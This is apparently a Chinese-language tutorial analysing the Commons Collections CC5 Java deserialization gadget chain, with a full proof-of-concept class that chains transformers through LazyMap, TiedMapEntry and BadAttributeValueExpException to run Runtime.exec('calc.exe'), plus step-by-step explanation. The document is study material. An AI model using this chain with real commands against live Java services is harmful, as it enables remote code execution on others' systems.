CC5

前言

分析过CC1就很容易看懂CC5

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

前置知识

CC5中涉及到两个新的类,这里先介绍一下

TiedMapEntry

图片

图片

该类有两个参数,一个Map类型,一个Object类型;

后面我们会使用到它的getValuetoString方法

BadAttributeValueExpException

图片

图片

该类只有一个val参数

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。
代码2

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

TiedMapEntry.getValue()调用了get(),参数map是可控的;
图片

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;

接着,toString()方法又调用了getValue()方法

图片

继续找哪里调用了toString()方法;

BadAttributeValueExpException.readObject()调用了toString()方法

图片

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;

所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;

即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件

下面解释一些细节的问题:

  • 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?
    以下为BadAttributeValueExpException的构造方法
1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

可以发现,如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误
图片